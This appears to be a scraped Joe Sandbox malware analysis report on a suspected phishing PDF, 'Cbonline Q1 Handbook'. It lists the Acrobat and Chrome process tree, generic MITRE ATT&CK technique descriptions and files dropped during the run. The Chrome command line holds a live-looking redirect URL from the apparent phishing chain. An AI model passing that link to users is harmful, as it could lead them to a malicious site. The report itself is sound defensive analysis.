cfL4;desc="?proto=TCP&rtt=305054&min_rtt=283790&rtt_var=91901&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=932&delivery_rate=12091&cwnd=155&unsent_bytes=0&cid=cf9388a3219d3254&ts=1937&x=0"
2025-03-07 09:16:42 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-03-07 09:16:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	04:13:57
Start date:	07/03/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Cbonline Q1 Handbook-0782794.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:13:58
Start date:	07/03/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:13:58
Start date:	07/03/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1556,i,7919162136299356296,1518015090656361293,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:14:01
Start date:	07/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://click.halaxy.com/track/click/30027051/z379sz8.r.us-east-2.awstrack.me?p=eyJzIjoiTC1FNG5BbWJTN3N3LTZ1cjVFRXVoRFhDdnZ3IiwidiI6MSwicCI6IntcInVcIjozMDAyNzA1MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3ozNzlzejguci51cy1lYXN0LTIuYXdzdHJhY2subWVcXFwvTDBcXFwvaHR0cHM6JTJGJTJGdC5jbyUyRm5QTU40SjFPYVNcXFwvMVxcXC8wMTBmMDE5NTZhNmMzYTJhLWQzZTQ0ZTVmLTFkMTktNGUwOS1iNGNjLTk3YTg5YmIwOTZlMi0wMDAwMDBcXFwvNG5TVmZNaFYwU2Y5SVB0ZUt3NnVrdHBMNDIwPTIwMVwiLFwiaWRcIjpcIjYxZmFkOGNhNzA5MDQzYmE5MDIyZTlhNmRjN2UwYmVjXCIsXCJ1cmxfaWRzXCI6W1wiNzNkNDhmOTNkOTE3MmNjNzBkOWMzN2JmOTc1MDY3ODAzMzliY2ZkOVwiXX0ifQ
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	04:14:02
Start date:	07/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2304,i,8622359068077814366,17850412118979168873,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Cbonline Q1 Handbook-0782794.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\50d79bc6-4062-4c9a-95c6-35b4fd4c50fd.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250307091402Z-158.bmp

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Windows Analysis Report
Cbonline Q1 Handbook-0782794.pdf